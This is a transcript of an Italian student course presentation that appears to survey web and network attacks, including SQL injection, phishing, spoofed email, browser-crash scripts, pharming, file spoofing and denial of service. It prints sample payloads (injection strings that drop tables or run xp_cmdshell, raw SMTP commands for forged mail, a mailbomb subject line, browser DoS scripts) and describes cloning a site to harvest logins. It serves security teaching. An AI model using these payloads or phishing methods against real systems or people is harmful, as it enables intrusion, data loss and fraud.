kgbgroup i nostri attacchi ferrara felice sorrentino luigi giallaurito ettore prof. a. de santis...

33
KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott.

Upload: niccolo-spinelli

Post on 01-May-2015

215 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

KGBGROUPI NOSTRI ATTACCHI

Ferrara Felice

Sorrentino Luigi

Giallaurito EttoreProf. A. De Santis

Dott. L.Catuogno

Page 2: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Indice•Sql Injection

•Phishing e mail fasulle

•Attacchi attraverso siti web

•Pharming e file spoofing

•Denial of Service

Page 3: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Sql injection

Tutti gli attacchi ad applicazioni, tipicamente web, in cui il programma utilizza esegue operazioni su un database SQL utilizzando variabili passate dall’utente senza averle prima verificate

Generalmente le applicazioni hanno dei form che fanno leva su database interrogati sulla base dei dati inseriti dall’utente

Quindi ogni volta che si sottomette un form viene eseguita un’operazione su un database

Page 4: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Sql injection

Possiamo quindi considerare il caso tipico della login di un utente su un sito web

L’utente inserisce la propria login e password e sottomette i dati

Ipotizzando che la login sia Felice e la password sia 5561245 allora è presumibile che sia eseguita la query

SELECT *

from tabella

where ID=' Felice ' AND PASSWORD=' 5561245 '

Page 5: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Sql injection

Il nostro obiettivo è quello di ingannare il parser sql per generare comportamenti imprevisti

Proviamo ad inserire il carattere ' nel campo login e sottomettere i dati

Se non sono stati fatti controlli sui dati di input allora la query eseguita sarà la seguente

SELECT *

from tabella

where ID=' ' ' AND PASSWORD=' '

L’apice viene considerato come

simbolo di dichiarazione

Viene generato un errore

Page 6: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Sql injection

Proviamo ad inserire la stringa ' OR "=' nei campi login e password

La query eseguita sarà la seguente:

SELECT *

from tabella

where ID= ' ' OR "=' ' AND PASSWORD= ' ' OR "=' '

La clausola WHERE sarà sempre vera e l’hacker è autenticato senza credenziali!

Spesso l’amministratore si registra tra gli utenti posizionandosi nella prima tupla della tabella poiché la select restituirà la prima tupla della tabella l’hacker sarà loggato come amministratore

Page 7: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Sql injectionUtilizzando quest’ idea è possibile generare tutta una serie di attacchi sfruttando i soli campi di login e password

Username: ' ; drop table members--Effetto: Eliminazione della tabella di un database

Username: aaaaaaaaaaaaaaa'Password: ' ; shutdown --Effetto: Chiusura del database

Username: ' ;EXEC master..xp_cmdshell 'dir';--Effetto: Esecuzione del comando dir per ottenere un listato delle directory

Username: ' ;EXEC master..xp_regread HKEY_LOCAL_MACHINE,'percorso','chiave'--Effetto: Lettura di una chiave del registro di Windows

Page 8: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Sql injection

In generale la costruzione della stringa dipende dalla versione del server sql in uso.

Prevenire quest’attacco è semplice

Basta controllare lato server se l’hacker ha inserito degli apici

È bene non fidarsi del codice javascript che può essere aggirato soprattutto se la richiesta è di tipo GET

È opportuno limitare i privilegi

Page 9: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Phishing

Il termine phishing (abboccamento) deriva dalla storpiatura del verbo inglese to fish che significa pescare

L’idea è quella di pescare utenti in rete per farli cadere all’interno di trappole tese da incalliti ed navigati truffatori

L’obiettivo è ottenere informazioni sensibili quali i usernames, le parole d'accesso, le identificazioni di cliente o comunque dati che permettano di estorcere illegalmente soldi ad ignari utenti

Page 10: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Phishing

In termini pratici il phishing si traduce nel dirigere utenti verso siti pirata che hanno l’obiettivo di simulare organizzazioni reali per ottenere informazioni

Il phisher segue due passi :

1 Copia grafica del sito di riferimento dell’organizzazione target

2 “Attrarre” le vittime verso il sito

Page 11: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Phishing

Il primo passo è banale ed esistono peraltro tool che ben supportano questa operazione

Noi abbiamo utilizzato Teleport

La sezione dinamica del sito viene riprogrammata per verosimiglianza

L’utente apparentemente fa operazioni ma viene costretto in ogni modo a rivelare le proprie informazioni incutendo terrore nella vittima con messaggi che lo inducano ad agire velocemente e sconsideratamente

Per fare ciò si inviano messaggi che obbligano ad esempio a svelare login, password, codici bancari ….

Il sito pirata nella realtà viene piazzato su server in nazioni estere

Page 12: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Phishing

Il secondo passo consiste nel dirigere le vittime verso la trappola

Per fare questo esistono due possibilità:

1) DNS POISONING (nella maggior parte dei casi un miraggio)

2) Utilizzo di vere e proprie esche

Abbiamo considerato questa seconda strada

Page 13: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

PhishingUna prima possibilità è quella di mettere il link all’interno di forum o chat

Il limite di questa strategia è che questi link possono avere scarsa visibilità e possono essere eliminati velocemente prima di aver fatto danni

La seconda possibilità è quella di utlizzare il servizio di posta inviando mail fasulle che ricalcano la grafica delle organizzazioni target

All’interno delle mail si posiziona un link che punta al sito pirata

Page 14: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Phishing

I phisher hanno un potente alleato: gli spammers

Questi mettono a disposizione i loro database per fornire indirizzi attivi

In generale non è bene fidarsi dell’indirizzo visualizzato al passaggio del mouse poiché può essere mascherato attraverso codice javascript

Page 15: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Mail fasulle

Argomento correlato al phishing è quello delle mail fasulle

Sendmail è un daemon che aspetta connessioni sulla porta 25 usato per inviare la posta in uscita

Collegandosi tramite telnet in prova.it sulla porta 25 e digitando i comandi esatti, è possibile generare e-mail false

Supponiamo che il nostro obiettivo è [email protected] a cui vogliamo recapitare una mail da parte di [email protected]

Page 16: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Mail fasulleDopo esserci connessi a prova.it:25 dovremmo ottenere un messaggio del tipo

220 prova.it ESMTP Sendmail 8.9.3/8.8.6; thu, 8 Jul 2006 11:46:01 +0000 (GMT)

I comandi saranno

HELO nomeprovider.it

La risposta sarà:

250 prova.it Hello NOMEPROVIDER.IT, pleased to meet you

MAIL FROM: <[email protected]>

RCPT TO: <[email protected]>

DATA con il contenuto seguito da due righe vuote e dal punto

Page 17: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Mail fasulle Concettualmente è possibile seppellire la mail box di un potenziale vittima ponendo come mittenet la vittima e destinatario un listserv

Un Listserv è un programma che invia programmi tramite e-mail nel caso non si riesca a prelevarlo via FTP.

Se ad esempio sappiamo che nella directory "mieifiles" del server pluto.it c'e` un file di 20 megabyte il cui nome è "enorme.gz" possiamo fare in modo che quei 20 MB vengano inviati sotto forma di testo nella e-mail della nostra vittima, ponendo nel campo SUBJECT quanto segue

REPLY [email protected] pluto.it anonymous [email protected] mieifiles/enorme.gzQUIT

Page 18: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Attacchi attraverso siti web

Fare eseguire lato client codice o script

Molto dipende dalle configurazioni e dalle verioni del software utilizzato dai client

Abbiamo analizzato le applet java, javascript e Macromedia Flash

Tutte implementano un modello di sicurezza basato su sandbox

Page 19: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Attacchi attraverso siti web

JAVA(l’ultima versione) ha un livello di sicurezza superiore rispetto alle altre 2 tecnologie

È però possibile scrivere codice

-Con l’obiettivo di usurare le risorse del client

-Far crashare alcuni browser

Page 20: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Attacchi attraverso siti webJavascript ha una lunga ingloriosa storia legata a problemi di sicurezza

Riportiamo alcuni esempi tra quelli documentati

function ex() {

var buffer = "";

for (var i = 0; i < 5000; i++) {

buffer += "A";

}

var buffer2 = buffer;

for (i = 0; i < 500; i++) {

buffer2 += buffer;

}

document.title = buffer2;

}

Exploit per alcune versione di Firefox 1.5

Page 21: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Attacchi attraverso siti webÈ più semplice attaccare Internet Explorer 6.0

Attacco per Denail of Service<HTML><SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT><SCRIPT> a = new Array(); while (1) { (a = new Array(a)).sort(); } </SCRIPT></HTML>

Attacco per far crashare il browserfunction Demo() {

var a = document.createElement('table');

var b = document.createElement('frameset');

a.appendChild(b);

}

Page 22: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Attacchi attraverso siti webAdobe ha sviluppato un linguaggio di script (Action Script)per potenziare Flash

È possibile inviare richieste http a terze parti settando degli header

var req:LoadVars=new LoadVars();req.addRequestHeader("Foo","Bar");req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",         "_blank","GET");

Oppure

var req:LoadVars=new LoadVars();req.addRequestHeader("Foo","Bar");req.decode("a=b&c=d");req.send("http://www.vuln.site/some/page.cgi?p1=v1&p2=v2",         "_blank","POST");

Page 23: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Pharming

• Tecnica basata essenzialmente sulla manipolazione degli indirizzi web • Punta a modificare l’associazione tra indirizzi IP e nomi di dominio per reindirizzare l’utenza verso altri siti.• Due tecniche di attacco:

– si operano delle variazioni nei Server DNS dell'Internet Service Provider modificando gli abbinamenti tra il dominio e l'indirizzo IP corrispondente a quel dominio

– con l'ausilio di programmi trojan una variazione nel personal computer della vittima

Page 24: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Inviare trojan con “File spoofing”

• Lo scopo è quello di inserire o modificare gli abbinamenti tra il dominio interessato e l'indirizzo IP corrispondente a quel dominio in un file locale particolare (File “hosts” in windows)• Lo spoofing dei tipi di file è una tecnica usata per simulare che un certo file corrisponda ad un tipo diverso da ciò che è realmente• ingannare un utente facendogli credere che un trojan sembri un tipo di file innocuo

Page 25: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Inviare trojan con “File spoofing”

• Due tecniche conosciute:– Trucco della doppia estensione di Windows:

• Rinominare un file con una doppia estensione in modo tale da ingannare la visualizzazione di windows (ES: “Archivio.zip.exe” viene visualizzato come “Archivio.zip”)

• Attacco da eseguire a coloro che conoscono windows da 2(massimo 3) giorni :D

– Il mime nelle e-mail• Gli attachment in un messaggio di posta elettronica vengono codificati usando lo standard MIME con una codifica di solo testo nel caso dei file ASCII puri (TXT, BAT, HTA) oppure con la codifica "base64" nel caso si tratti di file binari

• L'inganno consiste proprio nel cambiare il campo "Content-Type" indicando magari che un file eseguibile è un'immagine

Page 26: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Il nostro scopo

• Riuscire a dirottare tutto il traffico possibile verso la nostra macchina• Ottenere informazioni sui possibili utenti del sito attaccato:

– Creando un sito che simulasse gran parte delle funzionalità

– L’utente ignaro della situazione avrebbe avuto accesso al sito fasullo e avrebbe dato informazioni di login che si potevano sfruttare per fare altri danni

Page 27: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Come difendersi

• Non esistono ancora dei programmi specifici ma si usano:– firewall che tentano di impedire l'accesso al proprio PC da parte di utenti esterni

– antivirus che bloccano l'esecuzione di codice malevolo

• Siti certificati:– Se il sito a cui ci si collega è un sito sicuro prima dell'accesso verrà mostrato un certificato digitale emesso da una autorità di certificazione conosciuta

– Questo certificato andrebbe quantomeno letto e non frettolosamente accettato

Page 28: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Denial of Service

• Attacco con cui un aggressore tenta di rendere una risorsa troppo occupata per rispondere a richieste legittime o di negare a utenti legittimi l'accesso ad una macchina• I primi attacchi si cercavano di esaurire risorse hardware della vittima, quali lo spazio su disco, la memoria e la CPU:

– ciò era ottenibile spedendo pochi pacchetti malformati che mandavano in crash il sistema remoto

• Due tipi sono più conosciuti:– Syn-Flood

– Smurf

Page 29: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Syn-Flood

• Letteralmente: "inondazione di pacchetti di tipo Syn" • Tutte le volte che un utente fa click su di un link di una pagina web:

– si richiede l'apertura di una connessione (di tipo TCP) verso quel sito

– si eseguono una serie di passi, il primo dei quali consiste nell'invio di un pacchetto TCP che richiede l'apertura di una connessione

• Le regole di funzionamento del protocollo TCP esigono che il sistema risponda allocando alcune risorse per la connessione

Page 30: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Syn-Flood(2)

• si richiede l'apertura di diverse migliaia di connessioni al secondo che:

– "inondando" il server

– ne consumano rapidamente tutta la memoria, bloccandolo o mandandolo in crash.

Page 31: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Smurf

• utilizza un flusso di pacchetti modesto che:– è in grado di passare attraverso una normale connessione via modem, ed una rete esterna, che sia stata mal configurata

– usa la rete malconfigurata, che agisce da moltiplicatore di pacchetti, i quali si dirigono infine verso il bersaglio finale lungo linee di comunicazione ad alta velocità

• Si noti che questo tipo di attacco è possibile solo in presenza di reti che abbiano grossolani errori di configurazione dei sistemi (router) che le collegano tra loro e con Internet

Page 32: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

Distributed Denial of Services

• DDoS ripete lo stesso approccio utilizzando però diversi punti d'ingresso contemporanei• si è in grado di mettere in ginocchio sistemi più grandi che sarebbero indifferenti ad un singolo flood • Come funziona:

– si infettano un numero elevato di computer(successivamente chiamati zombie) con dei virus o worm che lasciano aperte delle backdoor riservate

– Quando il numero di zombie è ritenuto adeguato, o quando scatta una specifica data, i computer infetti si attivano e sommergono il server bersaglio di false richieste

Page 33: KGBGROUP I NOSTRI ATTACCHI Ferrara Felice Sorrentino Luigi Giallaurito Ettore Prof. A. De Santis Dott. L.Catuogno

I nostri attacchi DoS

• Inutile fare un attacco DoS su una rete non attiva:– Congestionare una rete o incrementare esponenzialmente il lavoro un computer che che non offrono servizi è un controsenso :D

• Il nostro lavoro si è incentrato soprattutto su altre tipologie di attacco più “produttive” in relazione a quelli che erano gli scopi del corso